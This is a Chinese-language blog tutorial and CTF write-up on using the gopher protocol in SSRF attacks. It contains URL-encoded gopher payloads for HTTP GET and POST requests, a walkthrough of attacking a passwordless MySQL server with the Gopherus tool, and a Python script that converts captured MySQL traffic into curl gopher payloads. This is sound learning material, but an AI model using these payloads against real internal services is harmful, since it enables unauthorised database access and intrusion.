前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >gopher协议的利用

gopher协议的利用

作者头像
用户2700375
发布2022-09-01 16:48:15
4.4K0
发布2022-09-01 16:48:15
举报
文章被收录于专栏:很菜的web狗很菜的web狗

近期看到了很多大佬的面经,都问到了gopher扩展攻击面的知识,之前使用gopher利用过ssrf漏洞,但也仅仅停留在会用,并不是很了解,(今天挂着网课来总结一下),也算是逃课专业户了。

什么是gopher协议

gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。

很多时候在SSRF下,我们无法通过HTTP协议来传递POST数据,这时候就需要用到gopher协议来发起POST请求了。

gopher的协议格式如下:

代码语言:javascript
复制
gopher://<host>:<port>/<gopher-path>_<TCP数据流>
<port>默认为70
发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码

但是gopher协议在各个语言中是有使用限制的。

语言

支持情况

PHP

–wite-curlwrappers且php版本至少为5.3

Java

小于JDK1.7

Curl

低版本不支持

Perl

支持

ASP.NET

小于版本3

gopher发送请求

curl

为了熟悉下gopher,我本机curl发送一下gopher请求到 我的虚拟机。

最后虚拟机启动nc监听来接收一下消息。

查看下curl版本,看看支不支持gopher协议

image-20220628095635651
image-20220628095635651
image-20220628095954171
image-20220628095954171

gopher协议传递HTTP的GET请求

gopher在发送请求时候,必须进行URL编码

我本地准备PHP代码如下

代码语言:javascript
复制
<?php
    echo $_GET['name'];
?>

http访问并抓包

image-20220628110059311
image-20220628110059311

get型的http数据包如下

代码语言:javascript
复制
GET /testg.php?name=xxx HTTP/1.1
Host: 10.211.55.2

直接在Burpsuite 中将数据进行编码(比较方便)

编码的时候在最后一定要补%0d%0a代表结束。

image-20220628110747138
image-20220628110747138

Burpsuite编码后

代码语言:javascript
复制
%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32

结尾没有%0d%0a我们手动添加一下。

转换为gopher

代码语言:javascript
复制
curl gopher://10.211.55.2:80/_%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a
image-20220628112013795
image-20220628112013795

gopher协议传递HTTP的POST请求

修改本地代码如下

代码语言:javascript
复制
<?php
    echo $_POST['name'];
?>

我们用gopher协议传递POST请求时,必须要包含这四个,还有一个post传参。

image-20220628114546001
image-20220628114546001

转换为gopher

代码语言:javascript
复制
curl gopher://10.211.55.2:80/_%50%4f%53%54%20%2f%74%65%73%74%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%0d%0a%0d%0a%6e%61%6d%65%3d%78%78%78%0d%0a
image-20220628135138210
image-20220628135138210

关于gopher协议的SSRF攻击

这里找了一道ctfshow上面的题目,在有SSRF漏洞的场景下,利用gopher解题。

打开无密码的MySQL

image-20220628135851574
image-20220628135851574

关于MySQL无密码

https://paper.seebug.org/510/

MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。

先说一下解题的过程。

一般 SSRF 打内网应用主要还是通过协议,比如用的比较多的是 gopher

无论是用 gopher 攻击 redis、mysql、还是 ftp,这些主要都是基于 tcp 协议为主。这和 gopher 协议的基本格式有关我们前面也提到了

想要打 MySQL 就需要知道 MySQL 通信时的 TCP 数据流,才能知道要怎么和 MySQL 通信,这里可以通过 Wireshark 抓包来分析。我们后面说。

https://github.com/tarunkant/Gopherus

直接用这个工具,他包含常见的应用 gopher 数据包的格式构造, 原理也是通过 Wireshark 抓包分析,然后写脚本。

img
img

这串payload粘贴到returl参数下面,生成的 POC 里,_ 字符后面的内容还要 进行url编码。因为 PHP接收到POST或GET请求数据,自解码一次。

img
img
img
img

接下来就是找flag的位置了。

img
img
img
img

wireshark抓取3306原始数据包

接下来在本地抓包,还原一下这个工具的原理。

抓包与MySQL通信时的TCP数据流,我们本地新建一个MySQL用户并且无密码

代码语言:javascript
复制
CREATE USER 'Sch0lar'@'localhost';
GRANT USAGE ON *.* TO 'Sch0lar'@'localhost'; 
GRANT ALL ON *.* TO 'Sch0lar'@'localhost';

接下来使用tcpdump来监听抓取3306认证的原始数据包:

代码语言:javascript
复制
# lo 回环接口网卡 -w 报错 pcapng 数据包
tcpdump -i lo port 3306 -w mysql.pcapng

紧接着本地连接一下MySQL来测试一下命令

然后中止 tcpdump 使用 Wireshark 打开 mysql.pcapng 数据包,追踪 TCP 流 然后过滤出发给 3306 的数据:

image-20220630112408050
image-20220630112408050

抓包这里有一个坑 我这边正常情况wireshrak抓不到包,查了一阵子资料发现,可能是默认使用了SSL安全链接模式才导致我们无法抓包,

--ssl-mode=disabled表示禁用SSL安全连接模式

再次链接抓包。

(看了国光大佬的博客,和其他大佬的博客他们并没有加--ssl-mode=disabled,就能抓到包)猜测原因可能是MySQL版本的问题 可能高版本默认就会采用SSL安全模式进行连接。

image-20220630113159381
image-20220630113159381

保存为原始数据,并生成gopher数据流

image-20220630113308193
image-20220630113308193

生成gopher数据流,采用如下脚本

代码语言:javascript
复制
import sys

def results(s):
    a=[s[i:i+2] for i in range(0,len(s),2)]
    return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)

if __name__=="__main__":
    s=sys.argv[1]
    print(results(s))
image-20220630154715976
image-20220630154715976

大致就是这么一个流程。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-06-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 什么是gopher协议
  • gopher发送请求
    • curl
      • gopher协议传递HTTP的GET请求
        • gopher协议传递HTTP的POST请求
        • 关于gopher协议的SSRF攻击
          • 打开无密码的MySQL
            • wireshark抓取3306原始数据包
            相关产品与服务
            云数据库 SQL Server
            腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档